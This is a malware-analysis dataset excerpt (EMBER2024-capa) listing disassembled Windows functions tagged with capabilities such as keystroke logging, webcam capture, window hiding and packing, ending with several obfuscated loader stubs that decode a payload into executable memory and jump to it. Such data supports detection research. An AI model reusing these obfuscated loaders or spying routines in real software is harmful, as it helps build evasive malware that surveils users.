joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45ac5c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x45acfb
cmp dword [ebx + 0x94], 0
jne 0x45acf5
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45abe4
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45acf5
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45acbb
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45acf5
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414f94
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45acca
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45af14
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x492ccc]
cmp dword [eax + 0x30], 0
je 0x45b071
test bl, bl
jne 0x45afc2
cmp dword [esi + 0x9c], 0
jne 0x45afb7
mov eax, esi
call fcn.0045d8ac
push eax
push 0x45ae40
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x45af88
mov eax, dword [0x492ccc]
call fcn.0045df8c
test al, al
je 0x45af88
mov eax, dword [0x492cf0]
call fcn.004058c0
mov edi, eax
cmp edi, 0
jl 0x45af88
push 0
mov eax, dword [0x492cf0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x45af72
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x45afb7
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.00414f94
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x45af97
inc dword [esi + 0x9c]
jmp 0x45b071
cmp dword [esi + 0x9c], 0
jle 0x45b071
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x45b071
cmp dword [esi + 0x44], 0
je 0x45b01d
mov eax, dword [0x492ccc]
call fcn.0045df8c
test al, al
je 0x45b01d
mov eax, dword [0x492cf0]
call fcn.004058c0
mov edi, eax
cmp edi, 0
jl 0x45b01d
push 5
mov eax, dword [0x492cf0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x45b007
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x45b04c
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.00414f94
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x45b02c
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
mov eax, 0x492cf0
mov ecx, 1
mov edx, dword [0x45ae20]
call fcn.00405a74
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x45bb58
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffefc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x45bbc2
mov eax, ebx
call fcn.0045df8c
test al, al
jne 0x45bbc2
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404970
mov eax, dword [esi]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x100]
test eax, eax
je 0x45bbaf
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x45bbcf
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004048d4
jmp 0x45bbcf
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004048d4
add esp, 0x104
pop esi
pop ebx
ret

Function at 0x45d0b0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45d11e
mov eax, esi
call fcn.00445b14
test al, al
je 0x45d11e
mov eax, dword [ebx + 0x84]
call fcn.004457a0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45d11e
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x45d112
push 0
mov eax, dword [ebx + 0x84]
call fcn.004457a0
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.0043d61c
jmp 0x45d11e
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.0045ceec
pop esi
pop ebx
ret

Function at 0x45e504
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov ebx, edx
test ebx, ebx
js 0x45e51d
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x45e516
mov eax, esp
mov esi, ecx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
xor eax, eax
mov dword [edi], eax
lea eax, [ebp - 0xc]
call fcn.0045e444
mov ebx, dword [ebp - 0xc]
mov byte [ebx + 0x14], 0
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x45e546
call fcn.00402e7c
xor edx, edx
push ebp
push 0x45e568
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, esi
call fcn.00402e60
mov dword [ebx + 0x18], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45e58f
mov edx, dword [ebx + 0x18]
mov eax, dword [ebp - 4]
mov ecx, esi
call fcn.00403050
mov dword [ebx + 0x1c], esi
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
mov eax, dword [ebp - 4]
push eax
mov eax, dword [0x492d84]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
jne 0x45e5cb
call sub.kernel32.dll_GetLastError
cmp eax, 0x3e5
je 0x45e5cb
xor eax, eax
jmp 0x45e5cd
mov al, 1
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
je 0x45e5fb
lea eax, [ebp - 0xc]
call fcn.0045e4b4
mov dword [edi], eax
mov eax, dword [edi]
xor edx, edx
push edx
push eax
mov eax, esi
cdq
cmp edx, dword [esp + 4]
jne 0x45e5f2
cmp eax, dword [esp]
sete al
add esp, 8
mov byte [ebp - 5], al
lea eax, [ebp - 0xc]
call fcn.0045e484
movzx eax, byte [ebp - 5]
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret 4
Function at 0x45e630
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, edx
mov edi, eax
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [esi], eax
lea eax, [ebp - 4]
call fcn.0045e444
mov eax, dword [ebp - 4]
mov byte [eax + 0x14], 1
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push edi
push ebx
mov eax, dword [0x492d84]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
jne 0x45e67c
call sub.kernel32.dll_GetLastError
cmp eax, 0x3e5
je 0x45e67c
xor eax, eax
jmp 0x45e67e
mov al, 1
mov ebx, eax
test bl, bl
je 0x45e6a6
lea eax, [ebp - 4]
call fcn.0045e4b4
mov dword [esi], eax
mov eax, dword [esi]
xor edx, edx
push edx
push eax
mov eax, edi
cdq
cmp edx, dword [esp + 4]
jne 0x45e6a0
cmp eax, dword [esp]
sete bl
add esp, 8
lea eax, [ebp - 4]
call fcn.0045e484
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4

Function at 0x45e868
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov ebx, edx
test ebx, ebx
js 0x45e880
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x45e879
mov eax, esp
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
cmp byte [0x492d88], 0
je 0x45e8f0
mov byte [ebp - 0x11], bl
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x11]
mov ecx, 1
xor edx, edx
call fcn.0045e504
call sub.kernel32.dll_GetTickCount
mov esi, eax
lea eax, [ebp - 0x10]
push eax
lea edx, [ebp - 0x12]
xor ecx, ecx
mov eax, 1
call fcn.0045e630
call sub.kernel32.dll_GetTickCount
sub eax, esi
cmp eax, 0xbb8
ja 0x45e8de
mov eax, ebx
xor al, 0xff
cmp al, byte [ebp - 0x12]
jne 0x45e8b4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.0045e504
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret 4

Function at 0x464d80
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x464e3a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00405060
mov eax, dword [0x48db7c]
cmp byte [eax], 0
je 0x464def
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.004053c4
mov eax, dword [ebx]
call fcn.004051f0
push eax
mov eax, dword [ebx]
call fcn.004051e0
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.004051f0
mov edx, eax
dec edx
mov eax, ebx
call fcn.004053c4
jmp 0x464e21
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.00409338
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.004051d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x464e41
lea eax, [ebp - 0x3f0]
call fcn.00404880
ret
Function at 0x464e48
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xfffffc14
mov ebx, edx
mov edx, esp
push edx
push 0x3e8
push 0xd
push eax
call sub.user32.dll_SendMessageA
mov edx, ebx
mov eax, esp
call fcn.00409338
add esp, 0x3ec
pop ebx
ret

Function at 0x465008
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff00
mov esi, edx
mov ebp, eax
mov edx, esi
mov eax, dword [ebp + 0x3c]
call dword [ebp + 0x38]
cmp dword [esi + 0xc], 0
jne 0x4650d0
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esp
call fcn.004513a0
mov ebx, eax
movzx edx, word [esi + 4]
mov eax, ebp
call fcn.00464cc4
mov edi, eax
test edi, edi
je 0x465069
movzx eax, byte [0x4650dc]
cmp al, bl
jne 0x465069
mov edx, edi
mov eax, ebp
call fcn.00464bfc
mov dword [esi + 0xc], 1
mov byte [ebp + 0x31], 1
jmp 0x4650d0
cmp byte [ebp + 0x161], 2
jne 0x465094
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x48deb4]
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
mov edx, 0xb006
call fcn.0043e9e0
test eax, eax
jne 0x4650d0
jmp 0x4650cb
mov edx, dword [0x48ddcc]
mov edx, dword [edx]
mov edx, dword [edx + 0x44]
mov eax, dword [ebp + 0x128]
cmp edx, eax
je 0x4650cb
test byte [eax + 0x358], 8
jne 0x4650cb
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x48ddcc]
mov eax, edx
mov edx, 0xb006
call fcn.0043e9e0
xor eax, eax
mov dword [esi + 0xc], eax
add esp, 0x100
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x46b3c8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
mov eax, dword [0x48deb4]
mov eax, dword [eax]
cmp dword [eax + 0x58], 0
jne 0x46b46e
call sub.kernel32.dll_GetTickCount
sub eax, dword [ebx + 0x80]
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x84]
cdq
cmp edx, dword [esp + 4]
jne 0x46b40d
cmp eax, dword [esp]
pop edx
pop eax
jae 0x46b449
jmp 0x46b411
pop edx
pop eax
jge 0x46b449
mov eax, dword [0x48deb4]
mov eax, dword [eax]
mov dword [eax + 0x38], 2
call sub.kernel32.dll_GetTickCount
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00465e04
mov eax, dword [ebx + 0xf4]
test eax, eax
je 0x46b46e
mov ecx, dword [esp + 4]
mov edx, dword [esp]
mov ebx, dword [eax]
call dword [ebx + 0x40]
jmp 0x46b46e
cmp dword [ebx + 0x11c], 0
je 0x46b46e
xor edx, edx
mov eax, dword [ebx + 0x58]
call fcn.0042d550
push 0
push 0
push 0x10
mov eax, dword [ebx + 0x12c]
push eax
call sub.user32.dll_PostMessageA
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x472328
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4723e2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00405060
mov eax, dword [0x48db7c]
cmp byte [eax], 0
je 0x472397
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.004053c4
mov eax, dword [ebx]
call fcn.004051f0
push eax
mov eax, dword [ebx]
call fcn.004051e0
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.004051f0
mov edx, eax
dec edx
mov eax, ebx
call fcn.004053c4
jmp 0x4723c9
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.00409338
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.004051d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4723e9
lea eax, [ebp - 0x3f0]
call fcn.00404880
ret

Function at 0x4754d8
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x475532
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [esi + 0x310], ecx
mov dword [esi + 0x314], edx
mov eax, dword [edx + 0x4c]
mov dword [esi + 0x304], eax
mov eax, dword [eax + 0x44]
mov dword [esi + 0xc], eax
mov edx, dword [esi + 0x310]
mov eax, esi
call fcn.0047553c
mov eax, dword [esi + 0x310]
mov edx, dword [eax + 0x30]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x6c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475539
ret

Function at 0x47bd30
Capabilities:
Capture webcam image

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov edi, edx
mov ebx, eax
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_IsWindow
test eax, eax
jne 0x47bd66
jmp 0x47be0c
push 0xfffffffffffffff0
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_GetWindowLongA
mov esi, eax
mov eax, esp
push eax
push 0
push 0x419
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
test esi, 2
jbe 0x47bdaa
mov edx, dword [ebx + 0x4c]
cmp dword [edx + 0x184], 0
je 0x47bdaa
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + 0x184]
mov eax, dword [eax + 0x14]
jmp 0x47bdba
mov edx, dword [ebx + 0x4c]
mov edx, dword [edx + 0x180]
test edx, edx
je 0x47bdba
mov eax, dword [edx + 0x14]
test eax, eax
je 0x47bdd3
push eax
push 2
push 5
mov edx, dword [edi + 0x10]
lea ecx, [esp + 0xc]
mov eax, ebx
call fcn.004786bc
jmp 0x47be0c
mov dl, 1
mov eax, dword [0x41f064]
call fcn.00421264
mov esi, eax
mov edx, dword [edi + 0x10]
mov eax, esi
call fcn.00421c38
mov eax, dword [ebx + 0x4c]
mov edx, dword [eax + 0xc4]
mov eax, dword [esi + 0x10]
call fcn.00420d30
mov edx, esp
mov eax, esi
call fcn.00421974
mov eax, esi
call fcn.00403a34
add esp, 0x10
pop edi
pop esi
pop ebx
ret

Function at 0x47e63c
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
push 0
mov eax, ebx
call fcn.004457a0
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x2c1], 0
xor edx, edx
mov eax, ebx
call fcn.0043d61c
pop ebx
ret
Function at 0x488c9c
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
cmp byte [ebx + 0x98], 0
je 0x488cc2
push 0
mov eax, dword [ebx + 0x94]
call fcn.004457a0
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x98], 0
pop ebx
ret

Function at 0x488d7c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x488eee
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xa4], 1
mov eax, dword [ebp - 0xc]
test byte [eax + 0x1c], 0x10
jne 0x488ed3
lea eax, [ebp - 0x10d]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 4]
lea eax, [ebp - 0x10d]
call fcn.00409338
mov dl, 1
mov eax, dword [0x45f298]
call fcn.0045f2f0
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x9c], eax
mov dl, 1
mov eax, dword [0x413318]
call fcn.00403a04
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x3c], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x9c]
call fcn.0045f36c
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x488ecf
mov dl, 1
mov eax, dword [0x4607dc]
call fcn.00460844
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x34], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x9c]
mov edx, 0x488f04
call fcn.0045fae0
lea eax, [ebp - 8]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404b98
xor eax, eax
push ebp
push 0x488ec8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x14]
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x34]
call fcn.00460b4c
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.00488f0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x488ecf
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x9c]
call fcn.00403a34
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
call fcn.00403a34
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x34]
call fcn.00403a34
ret
movzx ebx, byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x488ef5
lea eax, [ebp - 8]
mov edx, 2
call fcn.004048a4
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x35fb23ca
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x45284497
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x1000aaa3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1000aab2
pop dword [ebp - 0x3c]
mov eax, 0x608d7efb
sub eax, 0x508cd449
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xb4b912bb
sub dword [ebp - 0x4c], 0x6666cd70
mov dword [ebp - 0x48], 0xb506c6a4
add dword [ebp - 0x48], 0x7d2c85a1
mov dword [ebp - 0x44], 0xae1ff71e
add dword [ebp - 0x44], 0x9e2c4d10
mov dword [ebp - 0x40], 0xc550904c
add dword [ebp - 0x40], 0x3aaf6fb4
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x4161b99
add eax, 0xbeaa48b
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xd2a1c7f4
add dword [ebp - 0x4c], 0xa1d0a162
mov dword [ebp - 0x48], 0x29fc21e
add dword [ebp - 0x48], 0x3ecc9f57
mov dword [ebp - 0x44], 0x48c04026
add dword [ebp - 0x44], 0x1aaf2c46
mov dword [ebp - 0x40], 0x407c0175
sub dword [ebp - 0x40], 0x407c0175
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x1258597
add eax, 0xedb3a95
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x38e9b
push 0
call eax
mov ecx, 0x4ba4
xor ebx, ebx
add ebx, eax
mov edi, 0x2f6db429
add edi, 0xe096bfd7
add edi, dword [ebp - 0x3c]
mov edx, 0xe234bcd0
add dword [ebp - 0x14], 0x3fdc6bc4
mov esi, dword [edi]
xor dword [ebp - 0x28], 0x6cecf40b
sub esi, edx
add dword [ebp - 4], 0xc0eef7a9
mov dword [ebx], esi
mov dword [ebp - 8], 0xdad332f2
add ebx, 4
add edi, 0x910a0b50
sub edi, 0x910a0b4c
loop 0x1000abca
add eax, 0x12163
xor ebx, ebx
add ebx, eax
add eax, 0xdf562d34
add eax, 0x20a9d2d1
mov ecx, 0x4b571bc3
add ecx, 0xc4a8e43d
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x401c66
pop dword [ebp - 0x1c]
mov eax, 0x863dbee
sub eax, 0x823bf88
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xe63e35bc
add dword [ebp - 0x2c], 0x68140f8f
mov dword [ebp - 0x28], 0x9734c1d1
add dword [ebp - 0x28], 0x9afe8a74
mov dword [ebp - 0x24], 0xde959ef0
add dword [ebp - 0x24], 0x6db6a53e
mov dword [ebp - 0x20], 0x2cd33836
sub dword [ebp - 0x20], 0x2cd33836
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x520cb974
sub eax, 0x51cc8920
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xa04ac36
add dword [ebp - 0x2c], 0x6a6dbd20
mov dword [ebp - 0x28], 0xbd7908da
add dword [ebp - 0x28], 0x83f3589b
mov dword [ebp - 0x24], 0x6f3ac6e9
sub dword [ebp - 0x24], 0xbcb5a7d
mov dword [ebp - 0x20], 0x426710f8
sub dword [ebp - 0x20], 0x426710f8
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x6b4a4238
add eax, 0x94f5edf4
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c046
push 0
call eax
mov ecx, 0x392f881e
add ecx, 0xc6d0d607
mov esi, eax
mov edx, 0xb6b4e356
sub edx, 0xb6747356
add edx, dword [ebp - 0x1c]
mov edi, 0x204035d5
sub edi, 0x1139aaae
add dword [ebp - 0xc], ebx
mov ebx, dword [edx]
add dword [ebp - 4], 0xfe6e5447
add ebx, edi
add dword [ebp - 0x14], 0x8af383c5
mov dword [esi], ebx
xor dword [ebp - 0xc], 0xf5c30e63
add esi, 4
add edx, 0xbe5a1879
add edx, 0x41a5e78b
loop 0x401d88
add eax, 0x16b67
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x37c2f91a
add ecx, 0xc87d06e6
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x401443
pop dword [ebp - 8]
mov eax, 0x84f53dec
add eax, 0x7b4ad657
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xa8b8cc78
sub dword [ebp - 0x18], 0x5a66872d
mov dword [ebp - 0x14], 0x79c0be65
sub dword [ebp - 0x14], 0x478d7220
mov dword [ebp - 0x10], 0xdc90a2ba
sub dword [ebp - 0x10], 0x90445e8c
mov dword [ebp - 0xc], 0x84d6948
sub dword [ebp - 0xc], 0x84d6948
lea eax, [ebp - 0x18]
push eax
mov eax, 0xd55931cf
sub eax, 0xd518b157
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x1ca11658
add dword [ebp - 0x18], 0x57d152fe
mov dword [ebp - 0x14], 0x9633c42b
sub dword [ebp - 0x14], 0x54c762b6
mov dword [ebp - 0x10], 0xc549b997
add dword [ebp - 0x10], 0x9e25b2d5
mov dword [ebp - 0xc], 0x4d787f38
add dword [ebp - 0xc], 0xb28780c8
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x6d086e89
add eax, 0x933811f3
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x39f55
push 0
call eax
mov ecx, 0x4e54
xor edx, edx
add edx, eax
mov ebx, 0x7cbc4e6
add ebx, 0xf879cd1a
add ebx, dword [ebp - 8]
mov edi, 0x9753a941
add edi, 0x973d66e6
xor dword [ebp - 4], ebx
mov esi, dword [ebx]
xor dword [ebp - 4], eax
add esi, edi
xor dword [ebp - 4], 0xf602cec2
mov dword [edx], esi
xor dword [ebp - 4], esi
add edx, 0xd9845ee4
add edx, 0x267ba120
add ebx, 4
loop 0x401561
add eax, 0x12c23
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret